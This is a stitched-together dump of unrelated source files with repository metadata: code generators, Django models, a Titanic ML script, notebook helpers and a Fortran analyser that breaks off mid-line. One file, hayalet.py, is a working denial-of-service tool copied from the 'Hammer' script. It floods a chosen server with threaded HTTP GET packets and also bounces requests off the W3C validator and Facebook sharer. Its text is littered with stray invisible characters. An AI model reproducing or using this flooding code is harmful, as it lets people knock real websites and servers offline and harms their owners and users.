'<p id="answer"></p>\n' string += '</form>\n' jsNewPost.write(string) jsNewPost.close() shutil.copy('./jsNewPost.md', '../_posts/2018-04-23-javascript-tutorial.md')
[ "guy.zwerdling@gmail.com" ]
guy.zwerdling@gmail.com
54f07d34db1492f4ee7dc5264d05d386b5d245f4
1954c351980f8f1829beaf8f2d2f88032dc81849
/apps/screen-lock/gen_gradient.py
dbc425e6cb0c8cc573767f38c649b351eb81b07e
[ "Apache-2.0" ]
permissive
VincentWei/cell-phone-ux-demo
e219913d9032b20b4b2f221ddf8c55f05701191c
1085ba798dafe4c32ca4cf8eb65f348c762c224e
refs/heads/master
2023-01-09T16:56:42.756418
2022-09-15T03:17:54
2022-09-15T03:17:54
112,908,546
14
8
null
null
null
null
UTF-8
Python
false
false
1,739
py
#! /usr/bin/env python import sys import os def handle_line(line, transparent): line = line.replace('#', '') L = line.split() if (len(L) < 2): return None pos = int(L[0]) #color = int(L[1], 16) color = L[1] return "\t{ %0.2ff, %s%s, },\n" % ((100-pos)/100.0, transparent, color) #return "\t{ %0.2ff, %s%s, },\n" % ((64-(pos-36))/64.0, transparent, color) def gen_gradient(fin, fout, arrayname): L = [] transparent = 'ff' name = arrayname def gen_array(): text = ''' static const GradientData %s[] = { %s}; ''' % (name, ''.join(L)) fout.write(text) for line in fin: if line.startswith('#'): continue if line.startswith('name:'): if (len(L)>0): gen_array() del L[:] name = line.replace('name:', '') name = name.strip() elif line.startswith('transparence:'): transparent = line.replace('transparence:', '') transparent = transparent.replace('%', '') transparent = transparent.strip() transparent = int(int(transparent) / 100.0 * 255) transparent = hex(transparent) else: entry = handle_line(line, transparent) if entry is not None: L.append(entry) gen_array() if __name__ == '__main__': if len(sys.argv) <= 1: print "Usage: gen_gradient.py filename" exit(1) infile = sys.argv[1] fin = open(infile) fout = sys.stdout if len(sys.argv) > 2: fout = open(sys.argv[2], 'w') arrayname = os.path.splitext(os.path.basename(infile))[0] gen_gradient(fin, fout, arrayname) fout.close() fin.close()
[ "vincent@minigui.org" ]
vincent@minigui.org
c2ddc57ff92cf54eda387010664a3029ee50e35a
0c6ac3b70c9e04f91265461c0782984732fb6156
/polyglot/managers.py
fb5a0250f15a93a054de9892897fed68028850cf
[]
no_license
fgallina/django-polyglot
71aa05359ff64df39344e2a268dac85cfb329ad3
37991d67eb38aac90eac6c3a721931b3217fce2c
refs/heads/master
2016-09-15T16:15:54.017218
2009-09-04T17:46:47
2009-09-04T17:46:47
null
0
0
null
null
null
null
UTF-8
Python
false
false
987
py
from django.utils import translation from django.db import models from django.db.models import Q from polyglot import defaults from polyglot import helpers class LanguageFieldManager(models.Manager): """Returns elements of the current language.""" def lall(self): lang = translation.get_language()[:2] filterby = {str(defaults.MANAGER_LANG_FIELD): lang} return self.get_query_set().filter(**filterby) class LanguageManager(models.Manager): """Returns elements of the current language.""" def __init__(self, *fields): super(LanguageManager, self).__init__() self.fields = fields def lall(self, *fields): if not fields: fields = self.fields qstring = '' for field in fields: field_name = helpers.format_field_name(field) qstring += 'Q(%s="") | ' % field_name qstring = qstring[:-2] q = eval(qstring) return self.get_query_set().exclude(q)
[ "fgallina@cuca.(none)" ]
fgallina@cuca.(none)
bcdcdf1fc18c8ea9916c786987ef64ce2de7fd7d
038e9356a9c41541d3eb8f457ce2b651fafaa159
/TRBlog/blog/migrations/0002_auto_20201029_2139.py
8bf1fd5b3f8de15a074e68c59ed567ddad01e331
[]
no_license
VipinDodke/TRB
0ed6c64757ab9d2850c8e6c8ccc553d7a910ac28
9ce7c7cb1548df6b18160688be50dfc99684cd19
refs/heads/master
2023-02-22T12:58:01.738082
2021-01-25T19:44:48
2021-01-25T19:44:48
314,181,723
6
0
null
null
null
null
UTF-8
Python
false
false
559
py
# Generated by Django 3.1.2 on 2020-10-30 04:39 from django.db import migrations, models class Migration(migrations.Migration): dependencies = [ ('blog', '0001_initial'), ] operations = [ migrations.AddField( model_name='page', name='image', field=models.ImageField(default='', upload_to='blog/images'), ), migrations.AddField( model_name='page', name='video', field=models.FileField(default='', upload_to='blog/video'), ), ]
[ "vipin830525@gmail.com" ]
vipin830525@gmail.com
cb8e3b9ba3c52a1ab5dc80b848533e056101ac52
4a038fdb8acd8c25822630f1e18316ab694baa02
/sibs_parch2.py
faf72c6664eed209b7b99d96a0a8549ef054d88c
[]
no_license
soumoks/Titanic-Kaggle-Competition
c8ab104e655ddfa86d2d706859ba49cf29b04cb2
c6f838740da8caf641ef6f71311574ba47572ce3
refs/heads/master
2021-04-07T04:06:54.981926
2020-04-01T02:38:30
2020-04-01T02:38:30
248,644,295
0
0
null
null
null
null
UTF-8
Python
false
false
3,349
py
# %% # Import libraries import pandas as pd import numpy as np from sklearn.model_selection import train_test_split import seaborn as sns from sklearn import tree # %% # Load data from csv df = pd.read_csv('train.csv', index_col='PassengerId') # %% # Add a feature called Family Size for id, attributes in df.iterrows(): df.loc[id, 'Relatives'] = attributes['SibSp'] + attributes['Parch'] if df.loc[id, 'Relatives'] == 0: df.loc[id, 'FamilySize'] = 0 if df.loc[id, 'Relatives'] > 0: df.loc[id, 'FamilySize'] = 1 if df.loc[id, 'Relatives'] > 2: df.loc[id, 'FamilySize'] = 2 if df.loc[id, 'Relatives'] > 3: df.loc[id, 'FamilySize'] = 3 if df.loc[id, 'Relatives'] > 5: df.loc[id, 'FamilySize'] = 4 if df.loc[id, 'Relatives'] > 6: df.loc[id, 'FamilySize'] = 5 #df = df[df.Relatives != 0] axes = sns.factorplot('Relatives','Survived', data=df, aspect = 2.5) # %% #Extract the passenger Title from Name df2 = df df2['Title'] = df2.Name df2.Title = df2.Title.replace(regex={ r'.*, Capt.*': 'Officer', r'.*, Col.*': 'Officer', r'.*, Major.*': 'Officer', r'.*, Jonkheer.*': 'Royalty', r'.*, Don.*': 'Royalty', r'.*, Sir.*': 'Royalty', r'.*, Dr.*': 'Officer', r'.*, Rev.*': 'Officer', r'.*, the Countess.*': 'Royalty', r'.*, Mme.*': 'Mrs', r'.*, Mlle.*': 'Miss', r'.*, Ms.*': 'Mrs', r'.*, Mrs.*': 'Mrs', r'.*, Mr.*': 'Mr', r'.*, Miss.*': 'Miss', r'.*, Master.*': 'Master', r'.*, Lady.*': 'Royalty' }) axes = sns.factorplot('Title','Survived', data=df2, aspect = 2.5) df2.Title = df2.Title.replace({'Officer': 1, 'Mrs': 2, 'Miss': 3, 'Mr': 4, 'Master': 5, 'Royalty': 6}) # %% # Add a feature called AgeGroup df3 = df2 bins = list(range(0, 71, 5)) labels = list(range(len(bins)-1)) df3['AgeGroup'] = pd.cut(df3.Age, bins, labels=labels, include_lowest=True) axes = sns.factorplot('AgeGroup','Survived', data=df3, aspect = 2.5) df3.AgeGroup = df3.AgeGroup = df.AgeGroup.replace({ 0:3, 1:1, 2:2, 3:2, 4:2, 5:1, 6:2, 7:2, 8:1, 9:3, 10:3, 11:3, 12:1, 13:0 }) # %% # Replace Sex with values df4 = df3 df4.Sex = df4.Sex.replace({'male': 1, 'female':0}) axes = sns.factorplot('Sex','Survived', data=df3, aspect = 2.5) # %% # Prepare data for training df5=df4 df5 = df5.dropna(subset=['AgeGroup']) df5 = df5.loc[:, ['AgeGroup', 'Sex', 'Title', 'FamilySize', 'Survived']] # %% # Train a RandomForst model from sklearn.ensemble import RandomForestClassifier from sklearn.model_selection import cross_val_score df6 = df5 y = df6['Survived'].to_numpy() X = df6.drop('Survived', axis=1).to_numpy() X_train, X_test, y_train, y_test = train_test_split(X, y, test_size=0.2) clf = RandomForestClassifier() clf.fit(X_train, y_train) #print(clf.score(X_test, y_test)) print('RandomForst, Train score:', cross_val_score(clf, X_train, y_train, cv=20).mean()) print('RandomForst, Test score:', cross_val_score(clf, X_test, y_test, cv=20).mean()) # %% # Train a Decision Tree model clf = tree.DecisionTreeClassifier() clf.fit(X_train, y_train) #print(clf.score(X_test, y_test)) print('DecisionTree, Train score:', cross_val_score(clf, X_train, y_train, cv=20).mean()) print('DecisionTree, Test score:', cross_val_score(clf, X_test, y_test, cv=20).mean()) # %%
[ "yuelin8879@gmail.com" ]
yuelin8879@gmail.com
3aa97bc0dd6c3d3c3ce765409fb7ccd121a10ff0
9743d5fd24822f79c156ad112229e25adb9ed6f6
/xai/brain/wordbase/otherforms/_reforested.py
2264bbdb8609e7079f50a2202870980d6e5df0a0
[ "MIT" ]
permissive
cash2one/xai
de7adad1758f50dd6786bf0111e71a903f039b64
e76f12c9f4dcf3ac1c7c08b0cc8844c0b0a104b6
refs/heads/master
2021-01-19T12:33:54.964379
2017-01-28T02:00:50
2017-01-28T02:00:50
null
0
0
null
null
null
null
UTF-8
Python
false
false
232
py
#calss header class _REFORESTED(): def __init__(self,): self.name = "REFORESTED" self.definitions = reforest self.parents = [] self.childen = [] self.properties = [] self.jsondata = {} self.basic = ['reforest']
[ "xingwang1991@gmail.com" ]
xingwang1991@gmail.com
5d047e167ece1fb4fc981b472c5603b58b1c13ca
6c3d274858d062894ac4ff8aed2e4962f3a0d1fb
/tests/infra/utils.py
b91f51d357547a71c52fccdf43ef208630567ed4
[ "Apache-2.0" ]
permissive
eddyashton/CCF
eab68ba7afb05a3cc4460aacae2c52fbe7c6171f
de7329a31d57774bc135c41bc60c0fd4888fb107
refs/heads/main
2023-08-19T08:53:19.594030
2022-08-02T14:10:12
2022-08-02T14:10:12
184,758,106
0
1
Apache-2.0
2023-03-20T14:59:57
2019-05-03T13:15:33
C++
UTF-8
Python
false
false
784
py
# Copyright (c) Microsoft Corporation. All rights reserved. # Licensed under the Apache 2.0 License. import infra.path import hashlib import os import subprocess def get_code_id(enclave_type, oe_binary_dir, package, library_dir="."): lib_path = infra.path.build_lib_path(package, enclave_type, library_dir) if enclave_type == "virtual": return hashlib.sha256(lib_path.encode()).hexdigest() else: res = subprocess.run( [os.path.join(oe_binary_dir, "oesign"), "dump", "-e", lib_path], capture_output=True, check=True, ) lines = [ line for line in res.stdout.decode().split(os.linesep) if line.startswith("mrenclave=") ] return lines[0].split("=")[1]
[ "noreply@github.com" ]
eddyashton.noreply@github.com
e42dea08bf272369445f8bf0a9c1bf8981c56105
0e83d1463adf0d6d4ca27e5d48bbc3d091f60bcd
/packages/core/src/RPA/core/notebook.py
dc2da2dcef2d43f3950fe923059cfe966ff622d9
[ "Apache-2.0" ]
permissive
krehl/rpaframework
8e6a2df5072412315339317f333a37d0ecc95450
86a8e33fafe65dcc092a12e2e75774463d33d358
refs/heads/master
2022-12-03T07:36:36.902265
2020-08-24T19:49:36
2020-08-24T19:49:36
null
0
0
null
null
null
null
UTF-8
Python
false
false
4,785
py
from functools import wraps from importlib import util import inspect import os from typing import Any IPYTHON_AVAILABLE = False ipython_module = util.find_spec("IPython") if ipython_module: # pylint: disable=C0415 from IPython.display import ( # noqa Audio, display, FileLink, FileLinks, Image, JSON, Markdown, Video, ) IPYTHON_AVAILABLE = True def _get_caller_prefix(calframe): keyword_name = ( calframe[1][3] if calframe[1][3] not in ["<module>", "<lambda>"] else None ) if keyword_name: keyword_name = keyword_name.replace("_", " ").title() return f"Output from **{keyword_name}**" return "" def print_precheck(f): @wraps(f) def wrapper(*args, **kwargs): if not IPYTHON_AVAILABLE: return None output_level = os.getenv("RPA_NOTEBOOK_OUTPUT_LEVEL", "1") if output_level == "0": return None curframe = inspect.currentframe() calframe = inspect.getouterframes(curframe, 2) prefix = _get_caller_prefix(calframe) if prefix != "": display(Markdown(prefix)) return f(*args, **kwargs) return wrapper @print_precheck def notebook_print(arg=None, **kwargs) -> Any: """Display IPython Markdown object in the notebook Valid parameters are `text`, `image`, `link` or `table`. :param text: string to output (can contain markdown) :param image: path to the image file :param link: path to the link :param table: `RPA.Table` object to print """ if arg and "text" in kwargs.keys(): kwargs["text"] = f"{arg} {kwargs['text']}" elif arg: kwargs["text"] = arg output = _get_markdown(**kwargs) if output: display(Markdown(output)) @print_precheck def notebook_file(filepath): """Display IPython FileLink object in the notebook :param filepath: location of the file """ if filepath: display(FileLink(filepath)) @print_precheck def notebook_dir(directory, recursive=False): """Display IPython FileLinks object in the notebook :param directory: location of the directory :param recursive: if all subdirectories should be shown also, defaults to False """ if directory: display(FileLinks(directory, recursive=recursive)) @print_precheck def notebook_table(table): """Display RPA.Table as IPython Markdown object in the notebook :param table: `RPA.Table` object to print """ output = _get_table_output(table) if output: display(Markdown(output)) @print_precheck def notebook_image(image): """Display IPython Image object in the notebook :param image: path to the image file """ if image: display(Image(image)) @print_precheck def notebook_video(video): """Display IPython Video object in the notebook :param video: path to the video file """ if video: display(Video(video)) @print_precheck def notebook_audio(audio): """Display IPython Audio object in the notebook :param audio: path to the audio file """ if audio: display(Audio(filename=audio)) @print_precheck def notebook_json(json_object): """Display IPython JSON object in the notebook :param json_object: item to show """ if json_object: display(JSON(json_object)) def _get_table_output(table): output = "" try: # pylint: disable=C0415 from RPA.Tables import Tables, Table # noqa if isinstance(table, Table): output = "<table class='rpafw-notebook-table'>" header = Tables().table_head(table, count=1) for row in header: output += "<tr>" for h, _ in row.items(): output += f"<th>{h}</th>" output += "</tr>" for row in table: output += "<tr>" for _, cell in row.items(): output += f"<td>{cell}</td>" output += "</tr>" output += "</table><br>" except ImportError: pass return None if output == "" else output def _get_markdown(**kwargs): output = "" for key, val in kwargs.items(): if key == "text": output += f"<span class='rpafw-notebook-text'>{val}</span><br>" if key == "image": output += f"<img class='rpafw-notebook-image' src='{val}'><br>" if key == "link": link_text = (val[:75] + "..") if len(val) > 75 else val output += f"<a class='rpafw-notebook-link' href='{val}'>{link_text}</a><br>" if key == "table": output += _get_table_output(val) return None if output == "" else output
[ "mika@robocorp.com" ]
mika@robocorp.com
31ed7465cf76aea2045bb913368d9bcac7f71b8b
3295631ed075b6e69ea586d7339fd6ad7fa2e78e
/hayalet.py
56a4f233ec18c77c0e180e277070bb0f9b4c4642
[]
no_license
siberhayalet/Hayalet-DDOS
609b99d284cef7238121840d272bea97f0b5d618
c4fde885dd987512dc449c814f2d0ac16c563193
refs/heads/master
2021-05-18T02:50:45.943289
2020-03-29T16:02:15
2020-03-29T16:02:15
251,072,161
0
0
null
null
null
null
UTF-8
Python
false
false
9,959
py
​!/usr/bin/python3​ ​ -*- coding: utf-8 -*-​ ​ python 3.3.2+ Hammer Dos Script v.1​ ​ by Can Yalçın​ ​ only for legal purpose​ ​from​ queue ​import​ Queue ​from​ optparse ​import​ OptionParser ​import​ time,sys,socket,threading,logging,urllib.request,random ​def​ ​user_agent​():         ​global​ uagent         uagent​=​[]         uagent.append(​"​Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.0) Opera 12.14​"​)         uagent.append(​"​Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:26.0) Gecko/20100101 Firefox/26.0​"​)         uagent.append(​"​Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3) Gecko/20090913 Firefox/3.5.3​"​)         uagent.append(​"​Mozilla/5.0 (Windows; U; Windows NT 6.1; en; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)​"​)         uagent.append(​"​Mozilla/5.0 (Windows NT 6.2) AppleWebKit/535.7 (KHTML, like Gecko) Comodo_Dragon/16.1.1.0 Chrome/16.0.912.63 Safari/535.7​"​)         uagent.append(​"​Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)​"​)         uagent.append(​"​Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1​"​)         ​return​(uagent) ​def​ ​my_bots​():         ​global​ bots         bots​=​[]         bots.append(​"​http://validator.w3.org/check?uri=​"​)         bots.append(​"​http://www.facebook.com/sharer/sharer.php?u=​"​)         ​return​(bots) ​def​ ​bot_hammering​(​url​):         ​try​:                 ​while​ ​True​:                         req ​=​ urllib.request.urlopen(urllib.request.Request(url,​headers​=​{​'​User-Agent​'​: random.choice(uagent)}))                         ​print​(​"​\033​[94mbot is hammering...​\033​[0m​"​)                         time.sleep(​.1​)         ​except​:                 time.sleep(​.1​) ​def​ ​down_it​(​item​):         ​try​:                 ​while​ ​True​:                         packet ​=​ ​str​(​"​GET / HTTP/1.1​\n​Host: ​"​+​host​+​"​\n\n​ User-Agent: ​"​+​random.choice(uagent)​+​"​\n​"​+​data).encode(​'​utf-8​'​)                         s ​=​ socket.socket(socket.​AF_INET​, socket.​SOCK_STREAM​)                         s.connect((host,​int​(port)))                         ​if​ s.sendto( packet, (host, ​int​(port)) ):                                 s.shutdown(​1​)                                 ​print​ (​"​\033​[92m​"​,time.ctime(time.time()),​"​\033​[0m ​\033​[94m <--packet sent! hammering--> ​\033​[0m​"​)                         ​else​:                                 s.shutdown(​1​)                                 ​print​(​"​\033​[91mshut<->down​\033​[0m​"​)                         time.sleep(​.1​)         ​except​ socket.error ​as​ e:                 ​print​(​"​\033​[91mno connection! server maybe down​\033​[0m​"​)                 ​#​print("\033[91m",e,"\033[0m")​                 time.sleep(​.1​) ​def​ ​dos​():         ​while​ ​True​:                 item ​=​ q.get()                 down_it(item)                 q.task_done() ​def​ ​dos2​():         ​while​ ​True​:                 item​=​w.get()                 bot_hammering(random.choice(bots)​+​"​http://​"​+​host)                 w.task_done() ​def​ ​usage​():         ​print​ (​'''​ ​\033​[92m        Hammer Dos Script v.1 http://www.canyalcin.com/​ ​        It is the end user's responsibility to obey all applicable laws.​ ​        It is just for server testing script. Your ip is visible. ​\n​ ​        usage : python3 hammer.py [-s] [-p] [-t]​ ​        -h : yardım​ ​        -s : server ip ​ ​        -p : port default 80​ ​        -t : turbo default 135 ​\033​[0m​'''​)         sys.exit() ​def​ ​get_parameters​():         ​global​ host         ​global​ port         ​global​ thr         ​global​ item         optp ​=​ OptionParser(​add_help_option​=​False​,​epilog​=​"​Hammers​"​)         optp.add_option(​"​-q​"​,​"​--quiet​"​, ​help​=​"​set logging to ERROR​"​,​action​=​"​store_const​"​, ​dest​=​"​loglevel​"​,​const​=​logging.​ERROR​, ​default​=​logging.​INFO​)         optp.add_option(​"​-s​"​,​"​--server​"​, ​dest​=​"​host​"​,​help​=​"​attack to server ip -s ip​"​)         optp.add_option(​"​-p​"​,​"​--port​"​,​type​=​"​int​"​,​dest​=​"​port​"​,​help​=​"​-p 80 default 80​"​)         optp.add_option(​"​-t​"​,​"​--turbo​"​,​type​=​"​int​"​,​dest​=​"​turbo​"​,​help​=​"​default 135 -t 135​"​)         optp.add_option(​"​-h​"​,​"​--help​"​,​dest​=​"​help​"​,​action​=​'​store_true​'​,​help​=​"​help you​"​)         opts, args ​=​ optp.parse_args()         logging.basicConfig(​level​=​opts.loglevel,​format​=​'​%(levelname)-8s​ ​%(message)s​'​)         ​if​ opts.help:                 usage()         ​if​ opts.host ​is​ ​not​ ​None​:                 host ​=​ opts.host         ​else​:                 usage()         ​if​ opts.port ​is​ ​None​:                 port ​=​ ​80​         ​else​:                 port ​=​ opts.port         ​if​ opts.turbo ​is​ ​None​:                 thr ​=​ ​135​         ​else​:                 thr ​=​ opts.turbo ​#​ reading headers​ ​global​ data headers ​=​ ​open​(​"​headers.txt​"​, ​"​r​"​) data ​=​ headers.read() headers.close() ​#​task queue are q,w​ q ​=​ Queue() w ​=​ Queue() ​if​ ​__name__​ ​==​ ​'​__main__​'​:         ​if​ ​len​(sys.argv) ​<​ ​2​:                 usage()         get_parameters()         ​print​(​"​\033​[92m​"​,host,​"​ port: ​"​,​str​(port),​"​ turbo: ​"​,​str​(thr),​"​\033​[0m​"​)         ​print​(​"​\033​[94mPlease wait...​\033​[0m​"​)         user_agent()         my_bots()         time.sleep(​5​)         ​try​:                 s ​=​ socket.socket(socket.​AF_INET​, socket.​SOCK_STREAM​)                 s.connect((host,​int​(port)))                 s.settimeout(​1​)         ​except​ socket.error ​as​ e:                 ​print​(​"​\033​[91mcheck server ip and port​\033​[0m​"​)                 usage()         ​while​ ​True​:                 ​for​ i ​in​ ​range​(​int​(thr)):                         t ​=​ threading.Thread(​target​=​dos)                         t.daemon ​=​ ​True​  ​#​ if thread is exist, it dies​                         t.start()                         t2 ​=​ threading.Thread(​target​=​dos2)                         t2.daemon ​=​ ​True​  ​#​ if thread is exist, it dies​                         t2.start()                 start ​=​ time.time()                 ​#​tasking​                 item ​=​ ​0​                 ​while​ ​True​:                         ​if​ (item​>​1800​): ​#​ for no memory crash​                                 item​=​0​                                 time.sleep(​.1​)                         item ​=​ item ​+​ ​1​                         q.put(item)                         w.put(item)                 q.join()                 w.join()
[ "noreply@github.com" ]
siberhayalet.noreply@github.com
2d73c0b4136544ae41233e0c4dddb23db861355c
e53baa85a296b89abce5bccbf89d7d71cf59c7dd
/SyntaxAnalyzer.py
8d4c931641597fca203abd48de384223b54a9037
[]
no_license
NagariaHussain/JackCompiler
bb93b861b5bad3b6444a7332e1b10678c65716d3
319599caba15c6541d3b0fc7373dcf3e49cf0308
refs/heads/master
2023-01-20T03:50:30.797052
2020-11-22T11:11:02
2020-11-22T11:11:02
299,852,411
1
0
null
null
null
null
UTF-8
Python
false
false
1,056
py
# For accessing command line args from sys import argv # For handling file/dir paths from pathlib import Path # Import Analyzer components from compilation_engine import CompilationEngine from jack_tokenizer import JackTokenizer # Get input path in_path = Path(argv[1]) if in_path.is_file(): # Path points to a file # Initialize tokenizer tokenizer = JackTokenizer(in_path) # Initialize compilation engine compilationEngine = CompilationEngine( tokenizer, in_path.with_suffix(".xml") ) # Start compilation compilationEngine.start_compilation() elif in_path.is_dir(): # Path points to a directory for item in in_path.iterdir(): if item.is_file(): # Compile every jack file if item.suffix == ".jack": tokenizer = JackTokenizer(item) ci = CompilationEngine( tokenizer, item.with_suffix(".xml") ) ci.start_compilation() # END OF FILE
[ "hussainbhaitech@gmail.com" ]
hussainbhaitech@gmail.com
4e3c5f132dfc414b615aaa2c224ea9a0c52c998a
749ece8be5d38fbda341d86101ccf1b3661195ad
/week-3/python-syntax/test.py
cb937196beec01933f9a4d819534e047e452ab60
[]
no_license
NicolasGuerrero/react-custom-hooks
e00dd8168a454db59e95955a45080dd034bbd0f4
63df6053c510c5d4e3210baf3ab5d09abba0cf17
refs/heads/master
2022-12-25T19:39:46.325300
2020-02-29T01:12:21
2020-02-29T01:12:21
243,882,996
0
0
null
2022-12-12T03:02:45
2020-02-29T01:11:49
JavaScript
UTF-8
Python
false
false
109
py
def my_function(nums): for num in nums: print(num) my_nums = [1, 2, 10] my_function(my_nums)
[ "saynaysurf@gmail.com" ]
saynaysurf@gmail.com
de06cf8c6463a615ed1808701fc0072c86973115
5ab4dfce4aa368855708880e27f9b0032fa5c7aa
/replay_component/scripts/config.py
a8ba12a0e00a78808d9233019f3bd2ca2ee41a87
[]
no_license
itzranjeet/replay_component
d11e720142d349818fbed1aa82eda738282cd103
bc4cb17bb9182d8f8e08961bf4f4d15ae2577c5a
refs/heads/master
2022-12-31T13:29:48.105507
2020-10-20T07:40:37
2020-10-20T07:40:37
305,627,532
0
0
null
null
null
null
UTF-8
Python
false
false
512
py
import json config_file_path = '/home/jesmij/ros_ws/src/replay_component/config/config.json' with open(config_file_path) as config_file: config = json.load(config_file) class Config: BENCH_DATA_DIRECTORY = config.get("BENCH_DATA_DIRECTORY") SQLALCHEMY_TRACK_MODIFICATIONS = False SERVICES = [ {'path': '.server.routes', 'blueprint': 'server'} ] BUNDLE_FILE_LOC = config.get("BUNDLE_BENCH_FILE_LOCATION") TCP_IP = config.get("TCP_IP") PORT = config.get("PORT")
[ "ranjeet.patil@kpit.com" ]
ranjeet.patil@kpit.com
e191e24a90476161be215f639c498635ef7d140c
7bc54bae28eec4b735c05ac7bc40b1a8711bb381
/src/arg/perspectives/gen_runner/run_ngram_collector_subword_train.py
9bde1ee31a94937ac3d4bd71f06730c26fa0a7ee
[]
no_license
clover3/Chair
755efd4abbd5f3f2fb59e9b1bc6e7bc070b8d05e
a2102ebf826a58efbc479181f1ebb5de21d1e49f
refs/heads/master
2023-07-20T17:29:42.414170
2023-07-18T21:12:46
2023-07-18T21:12:46
157,024,916
0
0
null
2023-02-16T05:20:37
2018-11-10T21:55:29
Python
UTF-8
Python
false
false
487
py
from arg.perspectives.n_gram_feature_collector_subword import PCNgramSubwordWorker from data_generator.job_runner import JobRunner, sydney_working_dir if __name__ == "__main__": def worker_factory(out_dir): return PCNgramSubwordWorker( input_job_name="rel_score_to_para_train", max_para=30, out_dir=out_dir ) runner = JobRunner(sydney_working_dir, 606, "pc_ngram_subword_all_train", worker_factory) runner.start()
[ "lesterny@gmail.com" ]
lesterny@gmail.com
b2d8c460e3695b8e62944fbd80126bdd465de832
901c62fda0c629843ec5077e34d5d4da387e3455
/model/common.py
8fde25a1829ff205c919fe7f788c6ce425bfee51
[]
no_license
mikeizbicki/ccTLD
99a1a442216763bf417e2d441a87b22f77eebcee
f461d87f70ef7da7ca91bbc451859c9cbc5a10ae
refs/heads/master
2020-05-01T12:48:52.492075
2019-05-09T06:15:48
2019-05-09T06:15:48
177,475,383
0
1
null
null
null
null
UTF-8
Python
false
false
1,120
py
countries={ 'ar':'Argentina', 'bo':'Bolivia', 'cl':'Chile', 'co':'Colombia', 'cr':'Costa Rica', 'cu':'Cuba', 'do':'Dominican Republic', 'ec':'Ecuador', 'sv':'El Salvador', 'gt':'Guatemala', 'hn':'Honduras', 'mx':'Mexico', 'ni':'Nicaragua', 'pa':'Panama', 'py':'Paraguay', 'pe':'Peru', 'pr':'Puerto Rico', 'es':'Spain', 'uy':'Uruguay', 've':'Venezuela', 'gq':'Equatorial Guinea', 'us':'United States', 'pt':'Portugal', 'bz':'Belize', 'br':'Brazil', } ccTLDs=sorted(countries.keys()) def get_vocab(vocab_size,vocab_filename='bin/all.vocab'): import pickle vocab_top_filename='bin/'+str(vocab_size)+'.vocab' try: with open(vocab_top_filename,'r') as f: vocab_top=pickle.load(f) except: with open(vocab_filename,'r') as f: vocab=pickle.load(f) vocab_top=map(lambda (x,y):x,vocab.most_common(vocab_size-1)) vocab_top.append('<<UNK>>') with open(vocab_top_filename,'w') as f: pickle.dump(vocab_top,f) return vocab_top
[ "mike@izbicki.me" ]
mike@izbicki.me
f180557feef9db0d6538d1491c772a735dc9d47a
b2f256c584aa071a58d8905c3628d4a4df25a506
/utils/python/python/fanalyse.py
a2d9cd1089ec72aac1282dd4331b2a44fbb8b3d5
[ "MIT" ]
permissive
maximebenoitgagne/wintertime
6865fa4aff5fb51d50ea883b2e4aa883366227d8
129758e29cb3b85635c878dadf95e8d0b55ffce7
refs/heads/main
2023-04-16T22:08:24.256745
2023-01-10T20:15:33
2023-01-10T20:15:33
585,290,944
0
0
null
null
null
null
UTF-8
Python
false
false
34,126
py
'''find all write access to variables in fortran files. First direct assignments, then indirect writes through subroutine calls. ''' import sys import os import re import glob import shlex import json import string import cgi from pyparsing import nestedExpr, ParseException SRPATT = re.compile(r'^ .... *(program|subroutine|(?:[a-zA-Z0-9_*]+ +)?function) *(\w+) *(\([^!]*)?', re.I) CALLPATT = re.compile(r'^( .... *call *)(\w+) *(\([^!]*)', re.I) INCLUDEPATT = re.compile(r'^# *include +"([^"]+)"') COMMONPATT = re.compile(r'^ .... *common */ *(\w+) */ *(.*) *$', re.I) INLINECOMMENTPATT = re.compile(r'\!.*$') CONTLINEPATT = re.compile(r'^ [^ ]') parenexpr = nestedExpr('(', ')') angleexpr = nestedExpr('<', '>') _defdirs = ['model/inc', 'model/src', 'eesupp/inc', 'eesupp/src', 'pkg/*'] _defexcludes = ['pkg/atm_ocn_coupler', 'pkg/aim_compon_interf', 'pkg/chronos', 'pkg/cfc', 'pkg/dic', 'pkg/ecco', 'pkg/autodiff', ] _IGNOREHEADERS = ['mpif.h', 'netcdf.inc', 'tamc.h', 'tamc_keys.h', 'PACKAGES_CONFIG.h', 'AD_CONFIG.h', 'BUILD_INFO.h', 'ecco_cost.h', 'ecco_ad_check_lev1_dir.h', 'ecco_ad_check_lev2_dir.h', 'ecco_ad_check_lev3_dir.h', 'ecco_ad_check_lev4_dir.h', 'dic_ad_check_lev1_dir.h', 'dic_ad_check_lev2_dir.h', 'dic_ad_check_lev3_dir.h', 'dic_ad_check_lev4_dir.h', 'ebm_ad_check_lev2_dir.h', 'ebm_ad_check_lev4_dir.h', 'checkpoint_lev1_template.h', 'checkpoint_lev1_directives.h', 'checkpoint_lev2_directives.h', 'checkpoint_lev3_directives.h', 'checkpoint_lev4_directives.h', 'ctrparam.h', 'adcommon.h', 'f_hpm.h', ] U = True I = False _KNOWNINTENTS = {'flush': [I], 'mpi_wait': [I,U,U], 'mpi_comm_size': [I,U,U], 'mpi_comm_rank': [I,U,U], 'mpi_cart_rank': [I,I,U,U], 'mpi_cart_coords': [I,I,I,U,U], 'mpi_cart_create': [I,I,I,I,I,U,U], 'mpi_bcast': [U,I,I,I,I,U], 'mpi_recv': [U,I,I,I,I,I,U,U], 'mpi_send': [I,I,I,I,I,I,U], 'mpi_isend': [I,I,I,I,I,I,U,U], 'mpi_type_commit': [I,U], 'mpi_type_contiguous': [I,I,U,U], 'mpi_type_vector': [I,I,I,I,U,U], 'mpi_type_hvector': [I,I,I,I,U,U], 'mpi_allreduce': [I,U,I,I,I,I,U], } _IGNORESUBPATTS = ['active_read_', 'active_write_', 'adactive_', 'autodiff_', 'ampi_', 'mpi_waitall$', 'mpi_barrier$', ] _IGNORESUBPATTS = [ re.compile(s) for s in _IGNORESUBPATTS ] def dump(fname, obj): with open(fname, 'w') as f: json.dump(obj, f) def load(fname): with open(fname) as f: obj = json.load(f) return obj def pathdict(dirglobs=_defdirs, ext='.h', excludes=_defexcludes, rootdir=''): '''return dictionary mapping names of files with extension ext in directories matching dirglobs under rootdir to their paths ''' paths = {} for dg in dirglobs: for dir in 